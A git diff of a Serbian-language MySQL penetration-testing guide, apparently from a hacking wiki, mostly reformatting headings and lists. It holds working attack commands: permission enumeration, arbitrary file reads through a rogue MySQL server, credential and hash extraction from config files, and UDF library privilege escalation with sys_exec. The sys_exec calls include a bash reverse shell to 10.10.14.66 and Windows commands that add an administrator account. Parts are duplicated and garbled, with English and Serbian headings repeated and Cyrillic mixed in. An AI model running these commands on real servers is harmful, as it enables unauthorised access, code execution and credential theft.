Konačno, koristite SQL upit `SHOW GRANTS FOR 'korisnicko_ime'@'localhost';` da biste dobili informacije o privilegijama koje su dodijeljene korisniku za određenu bazu podataka. Zamijenite `'korisnicko_ime'` sa stvarnim korisničkim imenom i `'localhost'` sa stvarnom adresom hosta.
|
Konačno, koristite SQL upit `SHOW GRANTS FOR 'korisnicko_ime'@'localhost';` da biste dobili informacije o privilegijama koje su dodijeljene korisniku za određenu bazu podataka. Zamijenite `'korisnicko_ime'` sa stvarnim korisničkim imenom i `'localhost'` sa stvarnom adresom hosta.
|
||||||
|
|
||||||
Prikupljanje ovih informacija o dozvolama u MySQL-u će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.
|
Prikupljanje ovih informacija o dozvolama u MySQL-u će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
#Mysql
|
#Mysql
|
||||||
SHOW GRANTS [FOR user];
|
SHOW GRANTS [FOR user];
|
||||||
|
@ -171,28 +186,33 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||||
#@ Functions not from sys. db
|
#@ Functions not from sys. db
|
||||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete videti u dokumentaciji značenje svakog privilegija: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
Možete videti u dokumentaciji značenje svakog privilegija: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||||||
|
|
||||||
### MySQL File RCE
|
#### MySQL File RCE
|
||||||
|
|
||||||
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
|
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
|
||||||
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## MySQL proizvoljno čitanje fajla od strane klijenta
|
### MySQL proizvoljno čitanje fajla od strane klijenta
|
||||||
|
|
||||||
Zapravo, kada pokušate da **učitate lokalne podatke u tabelu**, MySQL ili MariaDB server traži **klijenta da ga pročita** i pošalje sadržaj. **Ako možete da izmenite mysql klijent da se poveže sa vašim MySQL serverom, možete čitati proizvoljne fajlove.**\
|
Zapravo, kada pokušate da **učitate lokalne podatke u tabelu**, MySQL ili MariaDB server traži **klijenta da ga pročita** i pošalje sadržaj. **Ako možete da izmenite mysql klijent da se poveže sa vašim MySQL serverom, možete čitati proizvoljne fajlove.**\
|
||||||
Molimo vas da primetite da se ovo ponašanje javlja kada koristite:
|
Molimo vas da primetite da se ovo ponašanje javlja kada koristite:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
```
|
```
|
||||||
|
|
||||||
(Zapažanje reči "lokalno")\
|
(Zapažanje reči "lokalno")\
|
||||||
Jer bez "lokalno" možete dobiti:
|
Jer bez "lokalno" možete dobiti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
|
|
||||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||||
```
|
```
|
||||||
|
|
||||||
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||||
**U ovom radu možete videti potpisan opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
**U ovom radu možete videti potpisan opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||||
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||||
|
@ -205,28 +225,30 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## POST
|
### POST
|
||||||
|
|
||||||
### Mysql Korisnik
|
#### Mysql Korisnik
|
||||||
|
|
||||||
Bilo bi veoma interesantno ako mysql radi kao **root**:
|
Bilo bi veoma interesantno ako mysql radi kao **root**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||||
```
|
```
|
||||||
#### Opasne postavke mysqld.cnf
|
|
||||||
|
**Opasne postavke mysqld.cnf**
|
||||||
|
|
||||||
U konfiguraciji MySQL servisa koriste se različite postavke za definisanje njegovog rada i sigurnosnih mera:
|
U konfiguraciji MySQL servisa koriste se različite postavke za definisanje njegovog rada i sigurnosnih mera:
|
||||||
|
|
||||||
- Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL servis biti izvršen.
|
* Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL servis biti izvršen.
|
||||||
- **`password`** se koristi za uspostavljanje lozinke povezane sa MySQL korisnikom.
|
* **`password`** se koristi za uspostavljanje lozinke povezane sa MySQL korisnikom.
|
||||||
- **`admin_address`** određuje IP adresu koja osluškuje TCP/IP veze na administrativnom mrežnom interfejsu.
|
* **`admin_address`** određuje IP adresu koja osluškuje TCP/IP veze na administrativnom mrežnom interfejsu.
|
||||||
- Promenljiva **`debug`** ukazuje na trenutne konfiguracije za debagiranje, uključujući osetljive informacije unutar logova.
|
* Promenljiva **`debug`** ukazuje na trenutne konfiguracije za debagiranje, uključujući osetljive informacije unutar logova.
|
||||||
- **`sql_warnings`** upravlja generisanjem informacionih nizova za INSERT izjave sa jednim redom kada se pojave upozorenja, uključujući osetljive podatke unutar logova.
|
* **`sql_warnings`** upravlja generisanjem informacionih nizova za INSERT izjave sa jednim redom kada se pojave upozorenja, uključujući osetljive podatke unutar logova.
|
||||||
- Pomoću **`secure_file_priv`** se ograničava opseg operacija uvoza i izvoza podataka radi poboljšanja sigurnosti.
|
* Pomoću **`secure_file_priv`** se ograničava opseg operacija uvoza i izvoza podataka radi poboljšanja sigurnosti.
|
||||||
|
|
||||||
|
#### Eskalacija privilegija
|
||||||
|
|
||||||
### Eskalacija privilegija
|
|
||||||
```bash
|
```bash
|
||||||
# Get current user (an all users) privileges and hashes
|
# Get current user (an all users) privileges and hashes
|
||||||
use mysql;
|
use mysql;
|
||||||
|
@ -244,20 +266,24 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||||
\! sh
|
\! sh
|
||||||
```
|
```
|
||||||
### Eskalacija privilegija putem biblioteke
|
|
||||||
|
#### Eskalacija privilegija putem biblioteke
|
||||||
|
|
||||||
Ako **mysql server radi kao root** (ili drugi korisnik sa više privilegija), možete ga naterati da izvršava komande. Za to je potrebno koristiti **korisnički definisane funkcije**. Da biste kreirali korisnički definisanu funkciju, potrebna vam je **biblioteka** za operativni sistem na kojem se izvršava mysql.
|
Ako **mysql server radi kao root** (ili drugi korisnik sa više privilegija), možete ga naterati da izvršava komande. Za to je potrebno koristiti **korisnički definisane funkcije**. Da biste kreirali korisnički definisanu funkciju, potrebna vam je **biblioteka** za operativni sistem na kojem se izvršava mysql.
|
||||||
|
|
||||||
Zlonamerna biblioteka koju treba koristiti može se pronaći unutar sqlmap-a i metasploita pomoću komande **`locate "*lib_mysqludf_sys*"`**. Datoteke sa ekstenzijom **`.so`** su **linux** biblioteke, a one sa ekstenzijom **`.dll`** su **Windows** biblioteke, izaberite onu koja vam je potrebna.
|
Zlonamerna biblioteka koju treba koristiti može se pronaći unutar sqlmap-a i metasploita pomoću komande **`locate "*lib_mysqludf_sys*"`**. Datoteke sa ekstenzijom **`.so`** su **linux** biblioteke, a one sa ekstenzijom **`.dll`** su **Windows** biblioteke, izaberite onu koja vam je potrebna.
|
||||||
|
|
||||||
Ako **nemate** te biblioteke, možete ih ili **potražiti**, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga unutar ranjive linux mašine**:
|
Ako **nemate** te biblioteke, možete ih ili **potražiti**, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga unutar ranjive linux mašine**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
```
|
```
|
||||||
|
|
||||||
Sada kada imate biblioteku, prijavite se unutar Mysql-a kao privilegovan korisnik (root?) i pratite sledeće korake:
|
Sada kada imate biblioteku, prijavite se unutar Mysql-a kao privilegovan korisnik (root?) i pratite sledeće korake:
|
||||||
|
|
||||||
#### Linux
|
**Linux**
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Use a database
|
# Use a database
|
||||||
use mysql;
|
use mysql;
|
||||||
|
@ -277,129 +303,117 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||||||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||||
```
|
```
|
||||||
#### Windows
|
|
||||||
|
|
||||||
#### Виндоус
|
**Windows**
|
||||||
|
|
||||||
##### MySQL Service
|
**Виндоус**
|
||||||
|
|
||||||
##### MySQL Сервис
|
**MySQL Service**
|
||||||
|
|
||||||
###### MySQL Enumeration
|
**MySQL Сервис**
|
||||||
|
|
||||||
###### MySQL Enumeracija
|
**MySQL Enumeration**
|
||||||
|
|
||||||
|
**MySQL Enumeracija**
|
||||||
|
|
||||||
MySQL enumeration is the process of gathering information about a MySQL server, such as the version, databases, tables, and users. This information can be useful for further exploitation.
|
MySQL enumeration is the process of gathering information about a MySQL server, such as the version, databases, tables, and users. This information can be useful for further exploitation.
|
||||||
|
|
||||||
MySQL enumeracija je proces prikupljanja informacija o MySQL serveru, kao što su verzija, baze podataka, tabele i korisnici. Ove informacije mogu biti korisne za daljnje iskorišćavanje.
|
MySQL enumeracija je proces prikupljanja informacija o MySQL serveru, kao što su verzija, baze podataka, tabele i korisnici. Ove informacije mogu biti korisne za daljnje iskorišćavanje.
|
||||||
|
|
||||||
###### MySQL Version
|
**MySQL Version**
|
||||||
|
|
||||||
###### MySQL Verzija
|
**MySQL Verzija**
|
||||||
|
|
||||||
To determine the version of MySQL running on the target system, you can use the following methods:
|
To determine the version of MySQL running on the target system, you can use the following methods:
|
||||||
|
|
||||||
Da biste odredili verziju MySQL koja se izvršava na ciljnom sistemu, možete koristiti sledeće metode:
|
Da biste odredili verziju MySQL koja se izvršava na ciljnom sistemu, možete koristiti sledeće metode:
|
||||||
|
|
||||||
- **Banner Grabbing**: Analyze the MySQL server banner to extract the version information.
|
* **Banner Grabbing**: Analyze the MySQL server banner to extract the version information.
|
||||||
|
* **Banner Grabbing**: Analizirajte MySQL server baner da biste izvukli informacije o verziji.
|
||||||
|
* **Error Messages**: Exploit known vulnerabilities to trigger error messages that reveal the MySQL version.
|
||||||
|
* **Error Messages**: Iskoristite poznate ranjivosti da biste izazvali poruke o greškama koje otkrivaju verziju MySQL-a.
|
||||||
|
* **SQL Queries**: Execute SQL queries to retrieve the version information from the database.
|
||||||
|
* **SQL Upiti**: Izvršite SQL upite da biste dobili informacije o verziji iz baze podataka.
|
||||||
|
|
||||||
- **Banner Grabbing**: Analizirajte MySQL server baner da biste izvukli informacije o verziji.
|
**MySQL Databases**
|
||||||
|
|
||||||
- **Error Messages**: Exploit known vulnerabilities to trigger error messages that reveal the MySQL version.
|
**MySQL Baze podataka**
|
||||||
|
|
||||||
- **Error Messages**: Iskoristite poznate ranjivosti da biste izazvali poruke o greškama koje otkrivaju verziju MySQL-a.
|
|
||||||
|
|
||||||
- **SQL Queries**: Execute SQL queries to retrieve the version information from the database.
|
|
||||||
|
|
||||||
- **SQL Upiti**: Izvršite SQL upite da biste dobili informacije o verziji iz baze podataka.
|
|
||||||
|
|
||||||
###### MySQL Databases
|
|
||||||
|
|
||||||
###### MySQL Baze podataka
|
|
||||||
|
|
||||||
To enumerate the databases present on the MySQL server, you can use the following methods:
|
To enumerate the databases present on the MySQL server, you can use the following methods:
|
||||||
|
|
||||||
Da biste nabrojali baze podataka prisutne na MySQL serveru, možete koristiti sledeće metode:
|
Da biste nabrojali baze podataka prisutne na MySQL serveru, možete koristiti sledeće metode:
|
||||||
|
|
||||||
- **SHOW DATABASES**: Execute the `SHOW DATABASES` command to list all the databases.
|
* **SHOW DATABASES**: Execute the `SHOW DATABASES` command to list all the databases.
|
||||||
|
* **SHOW DATABASES**: Izvršite komandu `SHOW DATABASES` da biste izlistali sve baze podataka.
|
||||||
|
* **Information Schema**: Query the `information_schema` database to retrieve information about the databases.
|
||||||
|
* **Information Schema**: Upitajte bazu podataka `information_schema` da biste dobili informacije o bazama podataka.
|
||||||
|
|
||||||
- **SHOW DATABASES**: Izvršite komandu `SHOW DATABASES` da biste izlistali sve baze podataka.
|
**MySQL Tables**
|
||||||
|
|
||||||
- **Information Schema**: Query the `information_schema` database to retrieve information about the databases.
|
**MySQL Tabele**
|
||||||
|
|
||||||
- **Information Schema**: Upitajte bazu podataka `information_schema` da biste dobili informacije o bazama podataka.
|
|
||||||
|
|
||||||
###### MySQL Tables
|
|
||||||
|
|
||||||
###### MySQL Tabele
|
|
||||||
|
|
||||||
To enumerate the tables within a specific database, you can use the following methods:
|
To enumerate the tables within a specific database, you can use the following methods:
|
||||||
|
|
||||||
Da biste nabrojali tabele unutar određene baze podataka, možete koristiti sledeće metode:
|
Da biste nabrojali tabele unutar određene baze podataka, možete koristiti sledeće metode:
|
||||||
|
|
||||||
- **SHOW TABLES**: Execute the `SHOW TABLES` command to list all the tables in the selected database.
|
* **SHOW TABLES**: Execute the `SHOW TABLES` command to list all the tables in the selected database.
|
||||||
|
* **SHOW TABLES**: Izvršite komandu `SHOW TABLES` da biste izlistali sve tabele u izabranoj bazi podataka.
|
||||||
|
* **Information Schema**: Query the `information_schema` database to retrieve information about the tables in a specific database.
|
||||||
|
* **Information Schema**: Upitajte bazu podataka `information_schema` da biste dobili informacije o tabelama u određenoj bazi podataka.
|
||||||
|
|
||||||
- **SHOW TABLES**: Izvršite komandu `SHOW TABLES` da biste izlistali sve tabele u izabranoj bazi podataka.
|
**MySQL Users**
|
||||||
|
|
||||||
- **Information Schema**: Query the `information_schema` database to retrieve information about the tables in a specific database.
|
**MySQL Korisnici**
|
||||||
|
|
||||||
- **Information Schema**: Upitajte bazu podataka `information_schema` da biste dobili informacije o tabelama u određenoj bazi podataka.
|
|
||||||
|
|
||||||
###### MySQL Users
|
|
||||||
|
|
||||||
###### MySQL Korisnici
|
|
||||||
|
|
||||||
To enumerate the users present on the MySQL server, you can use the following methods:
|
To enumerate the users present on the MySQL server, you can use the following methods:
|
||||||
|
|
||||||
Da biste nabrojali korisnike prisutne na MySQL serveru, možete koristiti sledeće metode:
|
Da biste nabrojali korisnike prisutne na MySQL serveru, možete koristiti sledeće metode:
|
||||||
|
|
||||||
- **SHOW USERS**: Execute the `SHOW USERS` command to list all the users.
|
* **SHOW USERS**: Execute the `SHOW USERS` command to list all the users.
|
||||||
|
* **SHOW USERS**: Izvršite komandu `SHOW USERS` da biste izlistali sve korisnike.
|
||||||
|
* **mysql.user Table**: Query the `mysql.user` table to retrieve information about the users.
|
||||||
|
* **mysql.user Tabela**: Upitajte tabelu `mysql.user` da biste dobili informacije o korisnicima.
|
||||||
|
|
||||||
- **SHOW USERS**: Izvršite komandu `SHOW USERS` da biste izlistali sve korisnike.
|
**MySQL Password Cracking**
|
||||||
|
|
||||||
- **mysql.user Table**: Query the `mysql.user` table to retrieve information about the users.
|
**MySQL Dekriptovanje lozinki**
|
||||||
|
|
||||||
- **mysql.user Tabela**: Upitajte tabelu `mysql.user` da biste dobili informacije o korisnicima.
|
|
||||||
|
|
||||||
###### MySQL Password Cracking
|
|
||||||
|
|
||||||
###### MySQL Dekriptovanje lozinki
|
|
||||||
|
|
||||||
If you have obtained a MySQL hash, you can attempt to crack it using various password cracking techniques, such as dictionary attacks, brute-force attacks, or rainbow table attacks.
|
If you have obtained a MySQL hash, you can attempt to crack it using various password cracking techniques, such as dictionary attacks, brute-force attacks, or rainbow table attacks.
|
||||||
|
|
||||||
Ako ste dobili MySQL heš, možete pokušati da ga dekriptujete koristeći različite tehnike dekriptovanja lozinki, kao što su napadi rečnikom, napadi iscrpnom pretragom ili napadi pomoću rainbow tabela.
|
Ako ste dobili MySQL heš, možete pokušati da ga dekriptujete koristeći različite tehnike dekriptovanja lozinki, kao što su napadi rečnikom, napadi iscrpnom pretragom ili napadi pomoću rainbow tabela.
|
||||||
|
|
||||||
###### MySQL Command Execution
|
**MySQL Command Execution**
|
||||||
|
|
||||||
###### MySQL Izvršavanje komandi
|
**MySQL Izvršavanje komandi**
|
||||||
|
|
||||||
If you have the necessary privileges, you can execute operating system commands through MySQL using the `sys_exec()` function or by writing user-defined functions.
|
If you have the necessary privileges, you can execute operating system commands through MySQL using the `sys_exec()` function or by writing user-defined functions.
|
||||||
|
|
||||||
Ako imate potrebne privilegije, možete izvršavati operativne sistemske komande putem MySQL-a koristeći funkciju `sys_exec()` ili pisanjem korisnički definisanih funkcija.
|
Ako imate potrebne privilegije, možete izvršavati operativne sistemske komande putem MySQL-a koristeći funkciju `sys_exec()` ili pisanjem korisnički definisanih funkcija.
|
||||||
|
|
||||||
###### MySQL File Read/Write
|
**MySQL File Read/Write**
|
||||||
|
|
||||||
###### MySQL Čitanje/Pisanje fajlova
|
**MySQL Čitanje/Pisanje fajlova**
|
||||||
|
|
||||||
If you have the necessary privileges, you can read and write files on the target system using MySQL. This can be useful for retrieving sensitive information or uploading malicious files.
|
If you have the necessary privileges, you can read and write files on the target system using MySQL. This can be useful for retrieving sensitive information or uploading malicious files.
|
||||||
|
|
||||||
Ako imate potrebne privilegije, možete čitati i pisati fajlove na ciljnom sistemu koristeći MySQL. Ovo može biti korisno za dobijanje osetljivih informacija ili otpremanje zlonamernih fajlova.
|
Ako imate potrebne privilegije, možete čitati i pisati fajlove na ciljnom sistemu koristeći MySQL. Ovo može biti korisno za dobijanje osetljivih informacija ili otpremanje zlonamernih fajlova.
|
||||||
|
|
||||||
###### MySQL Database Backup
|
**MySQL Database Backup**
|
||||||
|
|
||||||
###### MySQL Bekap baze podataka
|
**MySQL Bekap baze podataka**
|
||||||
|
|
||||||
To perform a backup of a MySQL database, you can use the `mysqldump` command-line tool or the `SELECT INTO OUTFILE` SQL statement.
|
To perform a backup of a MySQL database, you can use the `mysqldump` command-line tool or the `SELECT INTO OUTFILE` SQL statement.
|
||||||
|
|
||||||
Da biste izvršili bekup baze podataka MySQL, možete koristiti alat `mysqldump` sa komandne linije ili SQL naredbu `SELECT INTO OUTFILE`.
|
Da biste izvršili bekup baze podataka MySQL, možete koristiti alat `mysqldump` sa komandne linije ili SQL naredbu `SELECT INTO OUTFILE`.
|
||||||
|
|
||||||
###### MySQL Database Restore
|
**MySQL Database Restore**
|
||||||
|
|
||||||
###### MySQL Obnova baze podataka
|
**MySQL Obnova baze podataka**
|
||||||
|
|
||||||
To restore a MySQL database from a backup, you can use the `mysql` command-line tool or the `LOAD DATA INFILE` SQL statement.
|
To restore a MySQL database from a backup, you can use the `mysql` command-line tool or the `LOAD DATA INFILE` SQL statement.
|
||||||
|
|
||||||
Da biste obnovili MySQL bazu podataka iz bekupa, možete koristiti alat `mysql` sa komandne linije ili SQL naredbu `LOAD DATA INFILE`.
|
Da biste obnovili MySQL bazu podataka iz bekupa, možete koristiti alat `mysql` sa komandne linije ili SQL naredbu `LOAD DATA INFILE`.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# CHech the linux comments for more indications
|
# CHech the linux comments for more indications
|
||||||
USE mysql;
|
USE mysql;
|
||||||
|
@ -411,27 +425,32 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||||
SELECT sys_exec("net user npn npn12345678 /add");
|
SELECT sys_exec("net user npn npn12345678 /add");
|
||||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||||
```
|
```
|
||||||
### Izvlačenje MySQL akreditacija iz datoteka
|
|
||||||
|
#### Izvlačenje MySQL akreditacija iz datoteka
|
||||||
|
|
||||||
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u obliku običnog teksta** za korisnika **debian-sys-maint**.
|
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u obliku običnog teksta** za korisnika **debian-sys-maint**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/debian.cnf
|
cat /etc/mysql/debian.cnf
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete **koristiti ove podatke za prijavu u MySQL bazu podataka**.
|
Možete **koristiti ove podatke za prijavu u MySQL bazu podataka**.
|
||||||
|
|
||||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka).
|
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka).
|
||||||
|
|
||||||
Možete ih izvući koristeći:
|
Možete ih izvući koristeći:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||||
```
|
```
|
||||||
### Omogućavanje beleženja
|
|
||||||
|
#### Omogućavanje beleženja
|
||||||
|
|
||||||
Možete omogućiti beleženje MySQL upita unutar `/etc/mysql/my.cnf` datoteke uklanjanjem komentara sa sledećih linija:
|
Možete omogućiti beleženje MySQL upita unutar `/etc/mysql/my.cnf` datoteke uklanjanjem komentara sa sledećih linija:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (277).png>)
|
![](<../.gitbook/assets/image (277).png>)
|
||||||
|
|
||||||
### Korisni fajlovi
|
#### Korisni fajlovi
|
||||||
|
|
||||||
Konfiguracioni fajlovi
|
Konfiguracioni fajlovi
|
||||||
|
|
||||||
|
@ -455,10 +474,8 @@ Konfiguracioni fajlovi
|
||||||
* update.log
|
* update.log
|
||||||
* common.log
|
* common.log
|
||||||
|
|
||||||
## Podrazumevane MySQL baze/tabele
|
### Podrazumevane MySQL baze/tabele
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="information_schema" %}
|
|
||||||
ALL\_PLUGINS\
|
ALL\_PLUGINS\
|
||||||
APPLICABLE\_ROLES\
|
APPLICABLE\_ROLES\
|
||||||
CHARACTER\_SETS\
|
CHARACTER\_SETS\
|
||||||
|
@ -537,9 +554,7 @@ INNODB\_TABLESPACES\_ENCRYPTION\
|
||||||
user\_variables\
|
user\_variables\
|
||||||
INNODB\_TABLESPACES\_SCRUBBING\
|
INNODB\_TABLESPACES\_SCRUBBING\
|
||||||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="mysql" %}
|
|
||||||
columns\_priv\
|
columns\_priv\
|
||||||
column\_stats\
|
column\_stats\
|
||||||
db\
|
db\
|
||||||
|
@ -578,9 +593,7 @@ time\_zone\_transition\
|
||||||
time\_zone\_transition\_type\
|
time\_zone\_transition\_type\
|
||||||
transaction\_registry\
|
transaction\_registry\
|
||||||
user
|
user
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="performance_schema" %}
|
|
||||||
accounts\
|
accounts\
|
||||||
cond\_instances\
|
cond\_instances\
|
||||||
events\_stages\_current\
|
events\_stages\_current\
|
||||||
|
@ -668,9 +681,7 @@ threads\
|
||||||
user\_variables\_by\_thread\
|
user\_variables\_by\_thread\
|
||||||
users\
|
users\
|
||||||
variables\_by\_thread
|
variables\_by\_thread
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="sys" %}
|
|
||||||
host\_summary\
|
host\_summary\
|
||||||
host\_summary\_by\_file\_io\
|
host\_summary\_by\_file\_io\
|
||||||
host\_summary\_by\_file\_io\_type\
|
host\_summary\_by\_file\_io\_type\
|
||||||
|
@ -687,224 +698,299 @@ io\_global\_by\_wait\_by\_bytes\
|
||||||
io\_global\_by\_wait\_by\_latency\
|
io\_global\_by\_wait\_by\_latency\
|
||||||
latest\_file\_io\
|
latest\_file\_io\
|
||||||
memory\_by\_host
|
memory\_by\_host
|
||||||
# schema_table_statistics
|
|
||||||
schema_table_statistics
|
|
||||||
|
|
||||||
# schema_table_statistics_with_buffer
|
## schema\_table\_statistics
|
||||||
schema_table_statistics_with_buffer
|
|
||||||
|
|
||||||
# schema_tables_with_full_table_scans
|
schema\_table\_statistics
|
||||||
schema_tables_with_full_table_scans
|
|
||||||
|
|
||||||
# schema_unused_indexes
|
## schema\_table\_statistics\_with\_buffer
|
||||||
schema_unused_indexes
|
|
||||||
|
schema\_table\_statistics\_with\_buffer
|
||||||
|
|
||||||
|
## schema\_tables\_with\_full\_table\_scans
|
||||||
|
|
||||||
|
schema\_tables\_with\_full\_table\_scans
|
||||||
|
|
||||||
|
## schema\_unused\_indexes
|
||||||
|
|
||||||
|
schema\_unused\_indexes
|
||||||
|
|
||||||
|
## session
|
||||||
|
|
||||||
# session
|
|
||||||
session
|
session
|
||||||
|
|
||||||
# session_ssl_status
|
## session\_ssl\_status
|
||||||
session_ssl_status
|
|
||||||
|
|
||||||
# statement_analysis
|
session\_ssl\_status
|
||||||
statement_analysis
|
|
||||||
|
|
||||||
# statements_with_errors_or_warnings
|
## statement\_analysis
|
||||||
statements_with_errors_or_warnings
|
|
||||||
|
|
||||||
# statements_with_full_table_scans
|
statement\_analysis
|
||||||
statements_with_full_table_scans
|
|
||||||
|
|
||||||
# statements_with_runtimes_in_95th_percentile
|
## statements\_with\_errors\_or\_warnings
|
||||||
statements_with_runtimes_in_95th_percentile
|
|
||||||
|
|
||||||
# statements_with_sorting
|
statements\_with\_errors\_or\_warnings
|
||||||
statements_with_sorting
|
|
||||||
|
|
||||||
# statements_with_temp_tables
|
## statements\_with\_full\_table\_scans
|
||||||
statements_with_temp_tables
|
|
||||||
|
|
||||||
# sys_config
|
statements\_with\_full\_table\_scans
|
||||||
sys_config
|
|
||||||
|
|
||||||
# user_summary
|
## statements\_with\_runtimes\_in\_95th\_percentile
|
||||||
user_summary
|
|
||||||
|
|
||||||
# user_summary_by_file_io
|
statements\_with\_runtimes\_in\_95th\_percentile
|
||||||
user_summary_by_file_io
|
|
||||||
|
|
||||||
# user_summary_by_file_io_type
|
## statements\_with\_sorting
|
||||||
user_summary_by_file_io_type
|
|
||||||
|
|
||||||
# user_summary_by_stages
|
statements\_with\_sorting
|
||||||
user_summary_by_stages
|
|
||||||
|
|
||||||
# user_summary_by_statement_latency
|
## statements\_with\_temp\_tables
|
||||||
user_summary_by_statement_latency
|
|
||||||
|
|
||||||
# user_summary_by_statement_type
|
statements\_with\_temp\_tables
|
||||||
user_summary_by_statement_type
|
|
||||||
|
## sys\_config
|
||||||
|
|
||||||
|
sys\_config
|
||||||
|
|
||||||
|
## user\_summary
|
||||||
|
|
||||||
|
user\_summary
|
||||||
|
|
||||||
|
## user\_summary\_by\_file\_io
|
||||||
|
|
||||||
|
user\_summary\_by\_file\_io
|
||||||
|
|
||||||
|
## user\_summary\_by\_file\_io\_type
|
||||||
|
|
||||||
|
